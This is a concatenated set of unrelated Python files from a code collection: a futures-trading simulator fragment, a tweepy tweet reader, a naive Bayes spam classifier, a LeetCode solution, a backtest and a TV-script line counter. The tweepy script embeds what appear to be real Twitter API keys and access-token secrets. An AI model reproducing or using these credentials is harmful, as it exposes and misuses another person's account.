self._send_account()\n        else:\n            position = self._positions[symbol]\n            if order[\"exchange_id\"] in [\"SHFE\", \"INE\"]:\n                if order[\"offset\"] == \"CLOSETODAY\":\n                    if order[\"direction\"] == \"BUY\":\n                        position[\"volume_short_frozen_today\"] -= order[\"volume_orign\"]\n                    else:\n                        position[\"volume_long_frozen_today\"] -= order[\"volume_orign\"]\n                if order[\"offset\"] == \"CLOSE\":\n                    if order[\"direction\"] == \"BUY\":\n                        position[\"volume_short_frozen_his\"] -= order[\"volume_orign\"]\n                    else:\n                        position[\"volume_long_frozen_his\"] -= order[\"volume_orign\"]\n            else:\n                if order[\"direction\"] == \"BUY\":\n                    if position[\"volume_short_frozen_today\"] >= order[\"volume_orign\"]:\n                        position[\"volume_short_frozen_today\"] -= order[\"volume_orign\"]\n                    else:\n                        position[\"volume_short_frozen_his\"] -= order[\"volume_orign\"] - position[\"volume_short_frozen_today\"]\n                        position[\"volume_short_frozen_today\"] = 0\n                else:\n                    if position[\"volume_long_frozen_today\"] >= order[\"volume_orign\"]:\n                        position[\"volume_long_frozen_today\"] -= order[\"volume_orign\"]\n                    else:\n                        position[\"volume_long_frozen_his\"] -= order[\"volume_orign\"] - position[\"volume_long_frozen_today\"]\n                        position[\"volume_long_frozen_today\"] = 0\n            self._adjust_position_volume_frozen(position)\n            self._send_position(position)\n\n    def _adjust_position_account(self, symbol, quote, underlying_quote=None, pre_last_price=float('nan'), last_price=float('nan'),\n                                 pre_underlying_last_price=float('nan'), underlying_last_price=float('nan'),\n                                 buy_open=0, buy_close=0, sell_open=0, sell_close=0):\n        \"\"\"\n        价格变化，使得 position 中的以下计算字段需要修改，这个函数计算出需要修改的差值部分，计算出差值部分修改 position、account\n        有两种情况下调用\n        1. 委托单 FINISHED，且全部成交，分为4种：buy_open, buy_close, sell_open, sell_close\n        2. 行情跳动\n        \"\"\"\n        position = self._positions[symbol]\n        float_profit_long = 0  # 多头浮动盈亏\n        float_profit_short = 0  # 空头浮动盈亏\n        position_profit_long = 0  # 多头持仓盈亏，期权持仓盈亏为0\n        position_profit_short = 0  # 空头持仓盈亏，期权持仓盈亏为0\n        margin_long = 0  # 多头占用保证金\n        margin_short = 0  # 空头占用保证金\n        market_value_long = 0  # 期权权利方市值(始终 >= 0)\n        market_value_short = 0  # 期权义务方市值(始终 <= 0)\n        assert [buy_open, buy_close, sell_open, sell_close].count(0) >= 3  # 只有一个大于0, 或者都是0，表示价格变化导致的字段修改\n        if buy_open > 0:\n            # 买开，pre_last_price 应该是成交价格，last_price 应该是 position['last_price']\n            float_profit_long = (last_price - pre_last_price) * buy_open * quote[\"volume_multiple\"]\n            if quote[\"ins_class\"].endswith(\"OPTION\"):\n                market_value_long = last_price * buy_open * quote[\"volume_multiple\"]\n            else:\n                margin_long = buy_open * _get_future_margin(quote)\n                position_profit_long = (last_price - pre_last_price) * buy_open * quote[\"volume_multiple\"]\n        elif sell_close > 0:\n            # 卖平，pre_last_price 应该是 position['last_price']，last_price 应该是 0\n            float_profit_long = -position[\"float_profit_long\"] / position[\"volume_long\"] * sell_close\n            if quote[\"ins_class\"].endswith(\"OPTION\"):\n                market_value_long = -pre_last_price * sell_close * quote[\"volume_multiple\"]\n            else:\n                margin_long = -sell_close * _get_future_margin(quote)\n                position_profit_long = -position[\"position_profit_long\"] / position[\"volume_long\"] * sell_close\n        elif sell_open > 0:\n            # 卖开\n            float_profit_short = (pre_last_price - last_price) * sell_open * quote[\"volume_multiple\"]\n            if quote[\"ins_class\"].endswith(\"OPTION\"):\n                market_value_short = -last_price * sell_open * quote[\"volume_multiple\"]\n                margin_short = sell_open * _get_option_margin(quote, last_price, underlying_last_price)\n            else:\n                margin_short = sell_open * _get_future_margin(quote)\n                position_profit_short = (pre_last_price - last_price) * sell_open * quote[\"volume_multiple\"]\n        elif buy_close > 0:\n            # 买平\n            float_profit_short = -position[\"float_profit_short\"] / position[\"volume_short\"] * buy_close\n            if quote[\"ins_class\"].endswith(\"OPTION\"):\n                market_value_short = pre_last_price * buy_close * quote[\"volume_multiple\"]\n                margin_short = -buy_close * _get_option_margin(quote, pre_last_price, pre_underlying_last_price)\n            else:\n                margin_short = -buy_close * _get_future_margin(quote)\n                position_profit_short = -position[\"position_profit_short\"] / position[\"volume_short\"] * buy_close\n        else:\n            float_profit_long = (last_price - pre_last_price) * position[\"volume_long\"] * quote[\"volume_multiple\"]  # 多头浮动盈亏\n            float_profit_short = (pre_last_price - last_price) * position[\"volume_short\"] * quote[\"volume_multiple\"]  # 空头浮动盈亏\n            if quote[\"ins_class\"].endswith(\"OPTION\"):\n                margin_short = _get_option_margin(quote, last_price, underlying_last_price) * position[\"volume_short\"] - position[\"margin_short\"]\n                market_value_long = (last_price - pre_last_price) * position[\"volume_long\"] * quote[\"volume_multiple\"]\n                market_value_short = (pre_last_price - last_price) * position[\"volume_short\"] * quote[\"volume_multiple\"]\n            else:\n                # 期权持仓盈亏为 0\n                position_profit_long = float_profit_long  # 多头持仓盈亏\n                position_profit_short = float_profit_short  # 空头持仓盈亏\n                margin_long = _get_future_margin(quote) * position[\"volume_long\"] - position[\"margin_long\"]\n                margin_short = _get_future_margin(quote) * position[\"volume_short\"] - position[\"margin_short\"]\n\n        if any([buy_open, buy_close, sell_open, sell_close]):\n            # 修改 position volume 相关的计算字段\n            # 在上面 sell_close buy_close 两种情况，计算浮动盈亏时，用到了修改前的手数，所以需改手数字段的代码放在这个位置\n            self._adjust_position_volume(position)\n\n        self._adjust_position(quote, position, float_profit_long, float_profit_short, position_profit_long,\n                              position_profit_short, margin_long, margin_short, market_value_long, market_value_short)\n        self._adjust_account_by_position(float_profit=float_profit_long + float_profit_short,\n                                         position_profit=position_profit_long + position_profit_short,\n                                         margin=margin_long + margin_short,\n                                         market_value=market_value_long + market_value_short)\n\n    # -------- 对于 position 的计算字段修改分为两类：\n    # 1. 针对手数相关的修改，在下单、成交时会修改\n    # 2. 针对盈亏、保证金、市值的修改，由于参考合约最新价，在成交、行情跳动时会修改\n\n    def _adjust_position_volume_frozen(self, position):\n        \"\"\"position 原始字段修改后，只有冻结手数需要重新计算，有两种情况需要调用\n        1. 下平仓单 2. 平仓单 FINISHED, 但没有成交\n        \"\"\"\n        position[\"volume_long_frozen\"] = position[\"volume_long_frozen_today\"] + position[\"volume_long_frozen_his\"]\n        position[\"volume_short_frozen\"] = position[\"volume_short_frozen_today\"] + position[\"volume_short_frozen_his\"]\n\n    def _adjust_position_volume(self, position):\n        \"\"\"position 原始字段修改后，手数之后需要重新计算\n        1. 委托单 FINISHED，且全部成交\n        \"\"\"\n        position[\"pos_long_today\"] = position[\"volume_long_today\"]\n        position[\"pos_long_his\"] = position[\"volume_long_his\"]\n        position[\"pos_short_today\"] = position[\"volume_short_today\"]\n        position[\"pos_short_his\"] = position[\"volume_short_his\"]\n        position[\"volume_long\"] = position[\"volume_long_today\"] + position[\"volume_long_his\"]\n        position[\"volume_long_frozen\"] = position[\"volume_long_frozen_today\"] + position[\"volume_long_frozen_his\"]\n        position[\"volume_short\"] = position[\"volume_short_today\"] + position[\"volume_short_his\"]\n        position[\"volume_short_frozen\"] = position[\"volume_short_frozen_today\"] + position[\"volume_short_frozen_his\"]\n\n    def _adjust_position(self, quote, position, float_profit_long=0, float_profit_short=0, position_profit_long=0,\n                                   position_profit_short=0, margin_long=0, margin_short=0, market_value_long=0,\n                                   market_value_short=0):\n        # 更新 position 计算字段，根据差值更新的字段\n        position[\"float_profit_long\"] += float_profit_long\n        position[\"float_profit_short\"] += float_profit_short\n        position[\"position_profit_long\"] += position_profit_long\n        position[\"position_profit_short\"] += position_profit_short\n        position[\"margin_long\"] += margin_long\n        position[\"margin_short\"] += margin_short\n        position[\"market_value_long\"] += market_value_long\n        position[\"market_value_short\"] += market_value_short\n\n        # 更新 position 计算字段，原地重新计算的字段\n        if position[\"volume_long\"] > 0:\n            position[\"open_price_long\"] = position[\"open_cost_long\"] / position[\"volume_long\"] / quote[\"volume_multiple\"]\n            position[\"position_price_long\"] = position[\"position_cost_long\"] / position[\"volume_long\"] / quote[\"volume_multiple\"]\n        else:\n            position[\"open_price_long\"] = float(\"nan\")\n            position[\"position_price_long\"] = float(\"nan\")\n        if position[\"volume_short\"] > 0:\n            position[\"open_price_short\"] = position[\"open_cost_short\"] / position[\"volume_short\"] / quote[\"volume_multiple\"]\n            position[\"position_price_short\"] = position[\"position_cost_short\"] / position[\"volume_short\"] / quote[\"volume_multiple\"]\n        else:\n            position[\"open_price_short\"] = float(\"nan\")\n            position[\"position_price_short\"] = float(\"nan\")\n        position[\"float_profit\"] = position[\"float_profit_long\"] + position[\"float_profit_short\"]\n        position[\"position_profit\"] = position[\"position_profit_long\"] + position[\"position_profit_short\"]\n        position[\"margin\"] = position[\"margin_long\"] + position[\"margin_short\"]\n        position[\"market_value\"] = position[\"market_value_long\"] + position[\"market_value_short\"]\n\n    # -------- 对于 account 的修改分为以下三类\n\n    def _adjust_account_by_trade(self, commission=0, close_profit=0, premium=0):\n        \"\"\"由成交引起的 account 原始字段变化，account 需要更新的计算字段\"\"\"\n        # account 原始字段\n        self._account[\"close_profit\"] += close_profit\n        self._account[\"commission\"] += commission\n        self._account[\"premium\"] += premium  # premium变量的值有正负，正数表示收入的权利金，负数表示付出的权利金\n        # account 计算字段\n        self._account[\"balance\"] += close_profit - commission + premium\n        self._account[\"available\"] += close_profit - commission + premium\n        self._account[\"risk_ratio\"] = self._account[\"margin\"] / self._account[\"balance\"]\n\n    def _adjust_account_by_position(self, float_profit=0, position_profit=0, margin=0, market_value=0):\n        \"\"\"由 position 变化，account 需要更新的计算字段\"\"\"\n        # account 计算字段，持仓字段求和的字段\n        self._account[\"float_profit\"] += float_profit\n        self._account[\"position_profit\"] += position_profit\n        self._account[\"margin\"] += margin\n        self._account[\"market_value\"] += market_value\n        # account 计算字段\n        self._account[\"balance\"] += position_profit + market_value\n        self._account[\"available\"] += position_profit - margin\n        self._account[\"risk_ratio\"] = self._account[\"margin\"] / self._account[\"balance\"]\n\n    def _adjust_account_by_order(self, frozen_margin=0, frozen_premium=0):\n        \"\"\"由 order 变化，account 需要更新的计算字段\"\"\"\n        self._account[\"frozen_margin\"] += frozen_margin\n        self._account[\"frozen_premium\"] += frozen_premium\n        self._account[\"available\"] -= (frozen_margin + frozen_premium)\n\n    def _send_trade(self, trade):\n        self._diffs.append({\n            \"trade\": {\n                self._account_key: {\n                    \"trades\": {\n                        trade[\"trade_id\"]: trade.copy()\n                    }\n                }\n            }\n        })\n\n    def _send_order(self, order):\n        self._diffs.append({\n            \"trade\": {\n                self._account_key: {\n                    \"orders\": {\n                        order[\"order_id\"]: order.copy()\n                    }\n                }\n            }\n        })\n\n    def _send_position(self, position):\n        self._diffs.append({\n            \"trade\": {\n                self._account_key: {\n                    \"positions\": {\n                        position[\"exchange_id\"] + \".\" + position[\"instrument_id\"]: position.copy()\n                    }\n                }\n            }\n        })\n\n    def _send_account(self):\n        self._diffs.append({\n            \"trade\": {\n                self._account_key: {\n                    \"accounts\": {\n                        \"CNY\": self._account.copy()\n                    }\n                }\n            }\n        })\n\n    def _default_get_trade_timestamp(self):\n        \"\"\"获取交易时间的默认方法，为当前所有 quote 的最大行情时间\"\"\"\n        return int(datetime.strptime(self._max_datetime, \"%Y-%m-%d %H:%M:%S.%f\").timestamp() * 1e6) * 1000\n\n    def _default_is_in_trading_time(self, quote):\n        \"\"\"判断是否在交易时间段\"\"\"\n        return _is_in_trading_time(quote, self._max_datetime, float(\"nan\"))\n","sub_path":"tqsdk/sim/trade.py","file_name":"trade.py","file_ext":"py","file_size_in_byte":44832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"555699547","text":"# Dependencies\nimport tweepy\nimport json\n\n# Twitter API Keys\nconsumer_key = \"Ed4RNulN1lp7AbOooHa9STCoU\"\nconsumer_secret = \"P7cUJlmJZq0VaCY0Jg7COliwQqzK0qYEyUF9Y0idx4ujb3ZlW5\"\naccess_token = \"839621358724198402-dzdOsx2WWHrSuBwyNUiqSEnTivHozAZ\"\naccess_token_secret = \"dCZ80uNRbFDjxdU2EckmNiSckdoATach6Q8zb7YYYE5ER\"\n\n# Setup Tweepy API Authentication\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\napi = tweepy.API(auth, parser=tweepy.parsers.JSONParser())\n\n# Target User Account\ntarget_user = \"@Stress_tips123\"\n\n# Counter\ncounter = 1\n\n# Loop through 5 pages of tweets (total 100 tweets)\nfor x in range(5):\n\n    # Get all tweets from home feed\n    public_tweets = api.user_timeline(target_user)\n\n    # Loop through all tweets\n    for tweet in public_tweets:\n\n        # Utilize JSON dumps to generate a pretty-printed json\n        # print(json.dumps(\n        #     tweet, sort_keys=True, indent=4, separators=(',', ': ')))\n\n        # Print Tweets\n        print(\"Tip %s: %s\" % (counter, tweet[\"text\"]))\n\n        # Add to Counter\n        counter = counter + 1\n","sub_path":"01-ClassContent/07-Social-Analytics/1/Supplemental/Solved/Stu_Review_Tweepy/GetRelief_SOLVED.py","file_name":"GetRelief_SOLVED.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"517732650","text":"# -*- coding: utf-8 -*-\n\n\nfrom tkinter import *\nfrom tkinter import messagebox\nimport pandas as pd\nfrom nltk.tokenize import RegexpTokenizer\nfrom nltk.stem import PorterStemmer\nfrom nltk.corpus import stopwords\n\n\ndf=pd.read_csv(\"spam.csv\",encoding='ISO-8859-1')\ndf.drop('Unnamed: 2',axis=1,inplace=True)\ndf.drop('Unnamed: 3',axis=1,inplace=True)\ndf.drop('Unnamed: 4',axis=1,inplace=True)\n\n\n# Randomize the dataset\ndata_randomized = df.sample(frac=1, random_state=1)\n# Calculate index for split\ntraining_test_index = round(len(data_randomized) * 0.8)\n\n# Split into training and test sets\ntraining_set = data_randomized[:training_test_index].reset_index(drop=True)\ntest_set = data_randomized[training_test_index:].reset_index(drop=True)\ndata=training_set.to_numpy()\nspam_messages=data[:, 1] # array where each element is a spam message\nclassification= data[:, 0] # array where each element is either 'ham' or 'spam'\n\n\n\n\ntokenizer=RegexpTokenizer('\\w+') # used to break sentences into words\nsw=set(stopwords.words('english')) # set containing stopwords of english language is created\nps=PorterStemmer() # used to replace certain words with their simpler forms eg: 'running' becomes 'run'(meaning is not changed)\n\n\n#we have to perform tokenization, removal of stopwords and stemming operatins on each of the spam messages present in array spam_messages\ndef operation(spam_messages):\n    operated_messages=[]\n    for spam in spam_messages:  #  for each spam message\n        spam=spam.lower() # convert letters to lowercase\n        tokenized_spam=tokenizer.tokenize(spam) # sentence is broken down into words(tokenization). tokenized_spam is a list of separated words\n        sw_removed_spam=[word for word in tokenized_spam if word not in sw] # removing the stopwords from tokenized_spam list\n        stemmed_spam=[ps.stem(word) for word in sw_removed_spam] #stemming the words present in sw_removed_spam list\n        clean_message=' '.join(stemmed_spam) #the words of stemmed_spam list are joined to create a string. This string has been obtained after applying the 3 operations listed above.\n        operated_messages.append(clean_message) #the cleaned spam message is added to this list\n    return operated_messages\n #-----------function end----------------------------------------------------------------------       \n\noperated_messages=operation(spam_messages) #list containing clean spam messages is obtained\n#creating vocabulary\ntraining_set['v2']=operated_messages #putting the cleaned message in 'v2' column of training_set\ntraining_set['v2']=training_set['v2'].str.split() #creating word lists in each row of 'v2' column\nvocabulary=[] #vocabulary will contain all the unique words across the training_set's spam messages\nfor words_list in training_set['v2']:\n    for word in words_list:\n        vocabulary.append(word)\nvocabulary=list(set(vocabulary)) #6484 unique words across all cleaned messages\n\n#Creating another dataframe by making use of a dictionary\nword_counts_per_sms = {unique_word: [0] * len(training_set['v2']) for unique_word in vocabulary}\n\nfor index, words_list in enumerate(training_set['v2']):\n    for word in words_list:\n        word_counts_per_sms[word][index] += 1\nword_counts = pd.DataFrame(word_counts_per_sms)\nprint(word_counts.head())\n\ntraining_set_clean = pd.concat([training_set, word_counts], axis=1)#combining the training_set and word_counts\nprint(training_set_clean.head())                                    # dataframes to a single dataframe\n\n#eg:- training_set_clean['convey'][0]\n# training_set_clean['regard'][0]\n# training_set_clean['u'][1]\n# training_set_clean['even'][1]\n\n\n#naive bayes classifier implementation---------------------------------------------------------------------------------\n\n# Isolating spam and ham messages first(dataframe split into two dataframes)\nspam_messages = training_set_clean[training_set_clean['v1'] == 'spam']#spam dataframe\nham_messages = training_set_clean[training_set_clean['v1'] == 'ham']#ham dataframe\n\n# P(Spam) and P(Ham) calculation (constant)\np_spam = len(spam_messages) / len(training_set_clean) #no of spam messages divided by total no of messages\np_ham = len(ham_messages) / len(training_set_clean) #no of ham messages divided by total no of messages\n\n# N_Spam calculation (constant)\nn_words_per_spam_message = spam_messages['v2'].apply(len)#gives a series(1 column)\nn_spam = n_words_per_spam_message.sum() #total no of words in spam messages\n\n# N_Ham calculation (constant)\nn_words_per_ham_message = ham_messages['v2'].apply(len)\nn_ham = n_words_per_ham_message.sum() #total no of words in ham messages\n\n# N_Vocabulary calculation (constant)\nn_vocabulary = len(vocabulary) #total no of words in vocabulary\n\n# Laplace smoothing parameter (constant)\nalpha = 1 \n\n# Initiate parameters\nparameters_spam = {unique_word:0 for unique_word in vocabulary} #probability that given word is spam \nparameters_ham = {unique_word:0 for unique_word in vocabulary}  #probability that given word is ham\n\n# Calculate parameters\nfor word in vocabulary:\n   n_word_given_spam = spam_messages[word].sum() # spam_messages already defined\n   p_word_given_spam = (n_word_given_spam + alpha) / (n_spam + alpha*n_vocabulary)\n   parameters_spam[word] = p_word_given_spam\n\n   n_word_given_ham = ham_messages[word].sum() # ham_messages already defined\n   p_word_given_ham = (n_word_given_ham + alpha) / (n_ham + alpha*n_vocabulary)\n   parameters_ham[word] = p_word_given_ham\n\n\n\ndef classify(message):  #Naive bayes classifier function\n    mylist=[message] #converting to list as operation function requires list or array as input\n    mylist=operation(mylist) #cleaning the message\n    message=mylist[0] #cleaned message is obtained\n    message=message.split() #Converting to list where each element of the list is a word of the sentence\n    \n    p_spam_given_message = p_spam\n    p_ham_given_message = p_ham\n    \n    for word in message:\n        if word in parameters_spam:\n            p_spam_given_message *= parameters_spam[word]\n        if word in parameters_ham:\n            p_ham_given_message *= parameters_ham[word]\n    \n    if p_ham_given_message > p_spam_given_message:\n        return 'ham'\n    elif p_spam_given_message > p_ham_given_message:\n        return 'spam'\n    else:\n        return 'needs human classification'\n\n#classification of test_set\ntest_set['predicted'] = test_set['v2'].apply(classify) #adds another column to test set\nprint(test_set.head())\n#checking accuracy of classifier \ncorrect = 0\ntotal = test_set.shape[0]\n\nfor row in test_set.iterrows(): #iterrows() returns (index,series) pairs \n    row=row[1] #we want the second element of the tuple(series) not the index\n    if row['v1'] == row['predicted']:\n      correct += 1\n\nprint(\"\\n\")\nprint('Total no of messages in test_set:',total)\nprint('Correctly Classified:', correct)\nprint('Incorrectly Classified:', total - correct)\nprint('Accuracy of classifier:', correct/total)\n\n#confusion matrix\nfrom sklearn.metrics import confusion_matrix\ny_actual=test_set['v1'].to_numpy()\ny_predicted=test_set['predicted'].to_numpy()\ncm=confusion_matrix(y_actual,y_predicted)\nprint(\"Confusion matrix:-\")\nprint(cm) #1st row-ham,2nd row-spam,1st column-ham,2nd column-spam\n'''out of 972+1=973 ham messages in test_set, the classifier classified 972 messages correctly as ham\nand classifed 1 ham message incorrectly as spam.\nout of 4+137=141 spam messages in test_set, the classifier classified 137 messages correctly \nas spam and classified 4 spam messages incorrectly as ham '''\n\n\n\n#------------------------------------------------GUI---------------------------------------------------------------------------\ndef myClick():\n    message=myTextBox.get(1.0,END)\n    result=classify(message)\n    if(result=='ham'):\n        messagebox.showinfo(\"Result\",\"The entered message is not a spam message\")\n    elif(result=='spam'):\n        messagebox.showinfo(\"Result\",\"The entered message is a spam message!\")\n    else:\n        messagebox.showerror(\"ERROR!\",\"The entered message cannot be classified to either group!\")\n    myTextBox.delete(1.0,END)\n        \nroot=Tk()\nroot.title(\"Spam message checker\")\nroot.iconbitmap('spam.ico')\nmyLabel=Label(root,text=\"Enter the message:\")\nmyTextBox=Text(root,width=60,height=20)\nmyButton=Button(root,text=\"Check\",command=myClick)\nmyLabel.grid(row=0,column=0)\nmyTextBox.grid(row=1,column=0)\nmyButton.grid(row=2,column=0)\nroot.mainloop()\n\n","sub_path":"Spam mail detection/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":8381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"598345485","text":"from types import SimpleNamespace as SN\nclass Solution:\n    def majorityElement(self, nums: List[int]) -> int:\n        a,b=[SN(n=0,cur=None) for _ in range(2)]\n        \n        for e in nums:\n            # add\n            if a.cur==e:\n                a.n+=1\n            elif b.cur==e:\n                b.n+=1\n            elif a.n==0:\n                a.n+=1\n                a.cur=e\n            elif b.n==0:\n                b.n+=1\n                b.cur=e\n            # only happens when three different annihilate\n            else:\n                a.n-=1\n                b.n-=1\n        #check\n        res=[]\n        if nums.count(a.cur)>len(nums)//3:\n            res.append(a.cur)\n        if nums.count(b.cur)>len(nums)//3:\n            res.append(b.cur)\n        return res","sub_path":"algo/leetcode/array/majority_element/II.py","file_name":"II.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"469380045","text":"import serial\nimport time\n\nclass SerialHandler(object):\n\t\"\"\"docstring for SerialHandler\"\"\"\n\tdef __init__(self, arg):\n\t\tsuper(SerialHandler, self).__init__()\n\t\tself.arg = arg\n\t\tprint(arg);\n\n\tdef testSerial(self):\n\t\tser = serial.Serial()\n\t\tprint(ser.isOpen())\n","sub_path":"python面向对象20180410/SerialHandler.py","file_name":"SerialHandler.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"260388475","text":"# coding: utf-8\nimport numpy as np\n\nlistOrders = []\nstart_up = 0.0\n\n\ndef initialize(context):\n    context.security = '13'\n    context.name = 'SBER'\n    context.cash = 1000000\n    context.amount = 1000\n    context.bet = 0\n\n\ndef handle_data(context, data):\n    if data.time_index == 36:\n        global start_up\n        total_cost = context.cash + \\\n            context.amount * data.array[data.time_index]\n        print(\"Total cost with stocks: %d \\n\\n\" % total_cost)\n        start_up = total_cost\n\n    if context.bet == 1:\n        operation = listOrders[-1][0]\n        amount = listOrders[-1][1]\n        time_index = listOrders[-1][2]\n        take_profit = listOrders[-1][3]\n        stop_loss = listOrders[-1][4]\n        holding_period = listOrders[-1][5]\n\n        if operation == 'buy':\n            if data.array[data.time_index] > data.array[data.time_index - 1]:\n                # correction(increase level of stop_loss)\n                listOrders[-1][2] = data.time_index\n                time_index = listOrders[-1][2]\n\n            take_profit_bool = \\\n                bool(take_profit / 100.0 * data.array[time_index] <\n                     data.array[data.time_index] - data.array[time_index])\n\n            stop_loss_bool = \\\n                bool(stop_loss / 100.0 * data.array[time_index] <\n                     data.array[time_index] - data.array[data.time_index])\n\n            holding_period_bool = \\\n                bool(data.time_index - time_index > holding_period)\n\n            if (take_profit_bool == 1 or stop_loss_bool == 1 or\n                    holding_period_bool == 1):\n\n                current_price = data.array[data.time_index + 1]\n                context.cash += amount * current_price\n                context.amount -= amount\n                context.bet = 0\n                print(\"Close long bet.\\t Total stocks: %d \\t Cash: %d\\n\"\n                      % (context.amount, context.cash))\n\n        elif operation == 'sell':\n            if data.array[data.time_index] < data.array[data.time_index - 1]:\n                # correction(decrease level of stop_loss)\n                listOrders[-1][2] = data.time_index\n                time_index = listOrders[-1][2]\n\n            take_profit_bool = \\\n                bool(take_profit / 100.0 * data.array[time_index] <\n                     data.array[time_index] - data.array[data.time_index])\n\n            stop_loss_bool = \\\n                bool(stop_loss / 100.0 * data.array[time_index] <\n                     data.array[data.time_index] - data.array[time_index])\n\n            holding_period_bool = \\\n                bool(data.time_index - time_index > holding_period)\n\n            if (take_profit_bool == 1 or stop_loss_bool == 1 or\n                    holding_period_bool == 1) and \\\n                    context.cash >= amount * data.array[data.time_index]:\n\n                current_price = data.array[data.time_index + 1]\n                context.cash -= amount * current_price\n                context.amount += amount\n                context.bet = 0\n\n                print(\"Close short bet.\\t Total stocks: %d \\t Cash: %d\\n\"\n                      % (context.amount, context.cash))\n    else:\n        average_price = \\\n            data.array[data.time_index - 36: data.time_index].mean()\n        current_price = data.array[data.time_index + 1]\n        cash = context.cash\n        amount = context.amount\n\n        # Need to calculate how many shares we can buy and sell\n        number_of_shares_buy = int(cash / current_price)\n        number_of_shares_sell = amount\n\n        if 1.01 * average_price < current_price < cash:\n            # Place the buy order (positive means buy, negative means sell)\n            operation = 'buy'\n            order(operation, number_of_shares_buy, data.time_index + 1)\n            context.cash -= number_of_shares_buy * current_price\n            context.amount += number_of_shares_buy\n            print(\"Buying %s \\t Amount: %d \\t Cash: %d \\t TimeIndex: %d\"\n                  % (context.security, number_of_shares_buy,\n                     context.cash, data.time_index + 1))\n            context.bet = 1\n\n        elif current_price < 0.99 * average_price and amount > 0:\n            # Sell all of our shares by setting the target position to zero\n            operation = 'sell'\n            order(operation, amount, data.time_index + 1)\n            context.cash += amount * current_price\n            context.amount -= amount\n            print(\"Selling %s \\t Amount %d \\t Cash: %d \\t TimeIndex: %d\"\n                  % (context.security, number_of_shares_sell,\n                     context.cash, data.time_index + 1))\n            context.bet = 1\n\n    if data.time_index == len(data.array) - 2:\n        global start_up\n        print(start_up)\n        total_cost = \\\n            context.cash + context.amount * data.array[data.time_index]\n        print(\"\\n\\nTotal cost with stocks: %d\" % total_cost)\n        percent = (total_cost - start_up) / start_up * 100.0\n        print(\"Percent: %f\" % percent)\n\n\ndef algorithms_to_orders(_initialize, _handle_data):\n    class Empty:\n        pass\n    context = Empty()\n    _initialize(context)\n\n    class Data:\n        def __init__(self, array):\n            self.array = array.copy()\n            self.time_index = 0\n\n        def info(self):\n            print('data: ', self.array)\n            print('time_index: ', self.time_index)\n\n    close = np.load('close.npy')\n    data = Data(close)\n\n    for data.time_index in range(36, len(close) - 1):\n        _handle_data(context, data)\n\n\ndef order(operation, amount, time_index,\n          take_profit=2.0, stop_loss=1.0, holding_period=10):\n    listOrders.append([operation, amount, time_index,\n                       take_profit, stop_loss, holding_period])\n\n\nalgorithms_to_orders(initialize, handle_data)\n","sub_path":"src/NikitaSerenko/backtest_improved.py","file_name":"backtest_improved.py","file_ext":"py","file_size_in_byte":5784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"195163510","text":"import re\nimport string\nimport matplotlib.pylab as plt\n\n# ask user for season and episode\nprint()\nseason = input(\"Enter season number: \")\nepisode = input(\"Enter episode number: \")\nif len(episode) < 2:\n    episode = \"0\"+episode\n\ntry:\n    filename = \"the_office-s%s_e%s-clean.txt\" % (season, episode)\n    # filename = \"s1e1.txt\"\n    characters_lines = {}\n    characters_words = {}\n    title = None\n\n    # read file and count lines and words per character\n    with open(filename, 'r') as script:\n        for line in script:\n            line = line.rstrip()\n            if re.match(r'^\\S+:', line):\n                name = re.findall(r'^\\S+:', line)\n                name = name[0][:-1]\n                characters_lines[name] = characters_lines.get(name, 0) + 1\n                line = re.sub(r'\\[.*?\\]','', line)\n                words = re.findall(r'^\\S+:.((\\S*\\s*)*)', line)\n                words = words[0][0]\n                words = words.translate(line.maketrans('', '', string.punctuation))\n                characters_words[name] = characters_words.get(name, 0) + len(words.split())\n\n    # get total lines and words counts\n    total_lines = sum(characters_lines.values())\n    total_words = sum(characters_words.values())\n\n    print(characters_lines)\n\n    loop = True\n    while loop == True:\n        choice = input(\"Sort by lines or words spoken? (Enter 'lines' or 'words'): \")\n        if choice.lower() == \"lines\":\n            print()\n            line_count = []\n            for name, lines in list(characters_lines.items()):\n                line_count.append((lines, name))\n            line_count.sort(reverse=True)\n            for lines, name in line_count:\n                words = characters_words[name]\n                pct_words = (words/total_words)*100\n                pct_lines = (lines/total_lines)*100\n                dev = (pct_words - pct_lines)\n                print(\"%s has %d lines (%s%%) and says %d words (%s%%). (Deviation: %d%%)\" % (name, lines, str(pct_lines)[:6], words, str(pct_words)[:6], dev))\n            loop = False\n            break\n        elif choice.lower() == \"words\":\n            print()\n            word_count = []\n            for name, words in list(characters_words.items()):\n                word_count.append((words, name))\n            word_count.sort(reverse=True)\n            for words, name in word_count:\n                lines = characters_lines[name]\n                pct_words = (words/total_words)*100\n                pct_lines = (lines/total_lines)*100\n                dev = (pct_lines - pct_words)\n                print(\"%s says %d words (%s%%) and has %d lines(%s%%). (Deviation: %d%%)\" % (name, words, str(pct_words)[:6], lines, str(pct_lines)[:6], dev))\n            loop = False\n            break    \n        else:\n            print(\"Sorry, that\\'s not a valid choice.\\n\")\n            continue\n    print()\n\nexcept:\n    print(\"\\nSorry, that script could not be found.\")","sub_path":"clean_files/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":2914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
